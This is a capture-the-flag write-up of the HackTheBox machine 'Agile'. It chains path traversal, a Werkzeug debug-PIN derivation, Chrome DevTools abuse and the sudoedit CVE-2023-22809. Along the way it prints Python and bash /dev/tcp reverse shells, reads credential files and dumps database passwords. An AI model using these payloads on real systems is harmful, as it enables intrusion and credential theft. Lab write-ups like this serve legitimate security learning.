# HackTheBox "Agile"

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FK7HkBfJ3bFZ1B4PSubOU%2FAgile.png?alt=media&#x26;token=5533931b-f124-44d3-adc2-fdf939cf36fd" alt="Info Card"><figcaption><p>Info Card</p></figcaption></figure>

## Introduction

[Agile](https://www.hackthebox.com/machines/agile) is a medium box released on March 4th, 2023 by 0xdf.

## User Own

Starting off with an nmap scan reveals a couple things.

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:41 EDT
Nmap scan report for superpass.htb (10.10.11.203)
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SuperPassword \xF0\x9F\xA6\xB8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.20 seconds
```

We can see that this box is running NGINX. Attempting to connect to the box from a browser gives a redirect for a website called `superpass.htb`. Adding this to `/etc/hosts` let's us connect to the website properly.

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FNzW3Dl9e1BnMKtUgKKQB%2Fimage.png?alt=media&#x26;token=8eb1b061-7b8e-4965-a792-8e61ffaa9e71" alt=""><figcaption><p>Homepage of http://superpass.htb</p></figcaption></figure>

This is pretty standard. An account can be created in the login page. After making an account, the website lets you create entries for passwords. The website also lets you conveniently export your passwords into a .csv file. When you download a file, you get taken to a subdirectory called `download`.&#x20;

```
GET /download?fn=username_export_1ee6927a7d.csv HTTP/1.1
```

This directory takes a parameter called `fn`, meaning filename. The website basically generates a .csv file containing your passwords and passes the file as a parameter so it knows which .csv file to take. However, this parameter is not handled properly. Giving the parameter no input gives an error, specifically an IsADirectoryError.

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FFQyqpWVZyc3jmjwPHecL%2Fimage.png?alt=media&#x26;token=db4acb1e-520a-41bc-af43-564aa6d629f7" alt="IsADirectoryError pictured above. You can&#x27;t download a directory."><figcaption><p>IsADirectoryError pictured above. You can't download a directory.</p></figcaption></figure>

It seems these .csv files are being generated in `/tmp`. While this works fine to download files, it is vulnerable to directory traversal, particularly the line:

```python
with open(f'/tmp/{fn}', 'rb') as f:
```

This line of Python code will read any file with the given path. We can escape the `/tmp` directory using two periods, and can grab any file we want. A good persistent file to grab is `/etc/passwd`.

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FfVy903UHz5x3gUmd2dfM%2Fimage.png?alt=media&#x26;token=e878d795-d80e-4e36-9288-f18eff641545" alt="Burp Suite Repeater"><figcaption><p>Burp Suite Repeater</p></figcaption></figure>

There are the standard users, `root`, `www-data`, and `sshd`, but there are some other users that aren't standard, being `corum`, `runner`, `edwards`, and `dev_admin`. This is great and all, but we can't really do much since we don't know the where important files are in the server. Those important files might not even be readable.

An interesting feature of Werkzeug is that the error pages feature a Python interpreter meant for debugging. I'm not sure if this isn't supposed to be in production, but it's available, so let's exploit it!

The debugger is accessed through a terminal icon in the traceback on any line of Python code. Being able to run Python code means gaining access to a reverse shell. Unfortunately, Werkzeug were smart enough to lock these interpreters with a PIN.

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FuuVcq9SzMcQTIazVoYQD%2Fimage.png?alt=media&#x26;token=788b7f6b-bb1a-4a3e-987f-39125a8e59ef" alt="Console Locked, for now."><figcaption><p>Console Locked, for now.</p></figcaption></figure>

However, Werkzeug were not smart enough to make the PIN secure. The PIN is actually predictable, as long as you have access to directory traversal, which we do!

Following a couple guides on cracking this PIN (Thank you [Hacktricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug) and [Ben Grewell](https://www.bengrewell.com/cracking-flask-werkzeug-console-pin/)!), the PIN is generated through the values:

* **Username**: This is the username of whoever is running the application. Directory traversal into `/proc/self/status/` reveals the user ID to be 33, which is the same user ID of `www-data`, so this is `www-data`.
* **Mod Name**: This is either `flask.app` or `werkzeug.debug`.
* **App Name**: This is either `wsgi_app`, `DebuggedApplication`, or `Flask`.
* **Absolute Path of** `app.py`: The error page reveals this to be `/app/venv/lib/python3.10/site-packages/flask/app.py`.
* **MAC Address**: This is the decimal version of the system's MAC address. This is normally unobtainable, but directory traversal into `/sys/class/net/eth0/address` reveals it to be `00:50:56:b9:72:f5`, which is `345052377845`.
* **Machine ID**: This is the concatenation of the machine ID and the app name. The machine ID is also normally unobtainable, but it can be obtained by grabbing the file `/etc/machine-id` which reveals it to be `ed5b159560f54721827644bc9b220d00`. The app name can be found by grabbing the file `/proc/self/cgroup` and using the value after the last forward slash, which is `superpass.service`.

Feeding these values into Ben Grewell's PIN cracker will generate different PIN combinations. My correct PIN was `634-326-400`. This PIN used the combo:

* `www-data`
* `flask.app`
* `wsgi_app`
* `/app/venv/lib/python3.10/site-packages/flask/app.py`
* `345052377845`
* `ed5b159560f54721827644bc9b220d00superpass.service`

After cracking the PIN for Werkzeug and gaining access to the Python interpreter, a reverse shell can be created in the debug interpreter. The reverse shell I used is from [PayloadsAllTheThings Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python).

```python
import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.xx.xx",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")
```

Listening via netcat gives us access:

```
nc -nvlp 1234
listening on [any] 1234 ...
connect to [LISTENER IP] from (UNKNOWN) [BOX IP] 51220
$ id  
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

After gaining a shell as `www-data`, let's explore the app for any sensitive data. We know that the path for the app is `/app` from the Werkzeug error page.

```
$ cd /app
cd /app
$ ls
ls
app  app-testing  config_prod.json  config_test.json  test_and_update.sh  venv
```

A configuration for production, this probably has something good in it.

```
$ cat config_prod.json
cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
```

Login credentials for the MySQL database. Now we can login to MySQL.

```
$ mysql --user=superpassuser --password
Enter password: dSA6l7q*yIVs$39Ml6ywvgK

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 424
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

We can see what databases are available:

```
mysql> show databases; 
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| superpass          |
+--------------------+
3 rows in set (0.00 sec)

mysql>
```

The promising database is `superpass`, so let's select it with `use superpass;`. After selecting `superpass`, we can see which tables are available:

```
mysql> show tables;
show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords           |
| users               |
+---------------------+
2 rows in set (0.00 sec)

mysql>
```

There is a very promising table called `passwords`, let's see what's inside it.

```
select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)

mysql> 
```

That's the good stuff! But it's still not the flag. From earlier directory traversal, we know that `corum` is a user for the box. We can rule out `0xdf` since it's just a reference to the author. `corum` has three different passwords. Ticketmaster and mgoblog are real things, but `agile` is not. I'm assuming Agile means the box itself, since that's the box's name, so let's login to the box using `corum`'s account and password from the database.

```
┌──(kali㉿kali)-[~]
└─$ ssh corum@superpass.htb             
corum@superpass.htb's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Mar  8 15:25:35 2023 from 10.10.14.47
corum@agile:~$
```

We're in! A simple `ls` reveals `user.txt` which contains the flag for the user own.

```
corum@agile:~$ ls
user.txt
corum@agile:~$ cat user.txt 
```

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2Ff0FKeQvmoTWb0ikNTZh2%2Fimage.png?alt=media&#x26;token=94b5d4d5-4401-4e6e-a64f-da90504df66c" alt="USER OWN"><figcaption><p>USER OWN</p></figcaption></figure>

## System Own

Within the `app` directory contains an interesting file: `config_test.json`. This file is not readable by `corum` though. There's a directory for production using `config_prod.json`, and there is also a directory for testing, so let's explore that. Looking at the `test_site_interactively.py` file, we can see that this test build is available at `test.superpass.htb`, which is running on port 5555.

```
ssh -L 5555:127.0.0.1:5555 corum@superpass.htb
```

Looking at `test_site_interactively.py` again, we can see that Chrome devtools is running on port 41829.

```python
@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()
```

```
ssh -L 41829:127.0.0.1:41829 corum@superpass.htb
```

Now we have access as to the Chrome debugger. Looking at the documentation for [Chrome DevTools](https://chromedevtools.github.io/devtools-protocol/), we can find a useful endpoint: `PUT /json/new?{url}`. Fortunately, modern web browsers allow us to open files using the protocol `file`. So putting this all together, the previously inaccessible file `config_test.txt` can be obtained by going to the URL `http://localhost:41829/json/new?file:///app/config_test.json`.

*Note: I wasn't able to see the debugger on Firefox, so I had to use Chrome instead.*

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FvbrgN5IJuz7dYbR3AmCI%2Fimage.png?alt=media&#x26;token=9a8c3bb9-5c0a-4cbe-a995-0f85634c745e" alt=""><figcaption></figcaption></figure>

This gives us a `devtoolsFrontendUrl`, which we can go to:

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FM0DCG7cKDMIPlS7G1giT%2Fimage.png?alt=media&#x26;token=8663a6ae-9b39-4543-bf86-05d37b2a3360" alt="More credentials"><figcaption><p>More credentials</p></figcaption></figure>

```
{"SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"}
```

More MySQL credentials, let's see what this account holds.

```
corum@agile:~$ mysql --user=superpasstester --password
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 569
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

`superpasstester` is pretty much the same as `superpassuser`, so let's get to the good stuff:

```
mysql> select * from passwords;
+----+---------------------+---------------------+---------+------------+----------------------+---------+
| id | created_date        | last_updated_data   | url     | username   | password             | user_id |
+----+---------------------+---------------------+---------+------------+----------------------+---------+
|  1 | 2023-01-25 01:10:54 | 2023-01-25 01:10:54 | agile   | edwards    | d07867c6267dcb5df0af |       1 |
|  2 | 2023-01-25 01:14:17 | 2023-01-25 01:14:17 | twitter | dedwards__ | 7dbfe676b6b564ce5718 |       1 |
+----+---------------------+---------------------+---------+------------+----------------------+---------+
2 rows in set (0.00 sec)

mysql> 
```

More SSH credentials! Hopefully `edwards` has more permissions than `corum`.

```
edwards@agile:~$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$ 
```

We have access to `sudoedit`. Looking up "sudoedit cve", we can find [this GitHub page](https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc), which is a script for a CVE capable of privilege escalation. Looking at our `sudo` version:

```
edwards@agile:~$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
edwards@agile:~$
```

Our version of `sudo` is before 1.9.12p2, which means `sudoedit` is vulnerable to CVE-2023-22809. To use this CVE, we need a file that `dev_admin` can write to and `root` can run.

A vulnerable file is `/app/venv/bin/activate`. Using the command:

```
EDITOR="vim -- /app/venv/bin/activate" sudo -u dev_admin sudoedit /app/config_test.json
```

We can write to `/app/venv/bin/activate`. Now we can put a reverse shell in here, specifically a bash shell from the [cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp).

```
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

/bin/bash -l > /dev/tcp/10.10.14.31/1234 0<&1 2>&1 # <--- Reverse shell here

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
        PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
        export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi
```

After putting this reverse shell in, we can listen and wait:

```
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.11.203] 33648
/app/venv/bin/activate: connect: Connection refused
/app/venv/bin/activate: line 3: /dev/tcp/10.10.14.31/1234: Connection refused
/app/venv/bin/activate: connect: Connection refused
/app/venv/bin/activate: line 3: /dev/tcp/10.10.14.31/1234: Connection refused
whoami
root
ls /root        
app
clean.sh
root.txt
superpass.sql
testdb.sql
```

Eventually, `root` will activate the virtual environment for the app and, as a result, give us a reverse shell as `root`. Checking `/root`, we can find what we're looking for, `root.txt`.

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FFzimdechRR8lKUER03MI%2Fimage.png?alt=media&#x26;token=d097e56a-7c02-463a-a805-03786a01247f" alt="SYSTEM OWN"><figcaption><p>SYSTEM OWN</p></figcaption></figure>

And that's the box!

<figure><img src="https://1656507392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FreAqNrA1Tmp5uiFlcl0m%2Fuploads%2FwI1vhku2K5xIOyornDLl%2Fimage.png?alt=media&#x26;token=fbbba96e-4be4-4f27-9712-5a4e1602a246" alt="PWNED"><figcaption><p>PWNED</p></figcaption></figure>
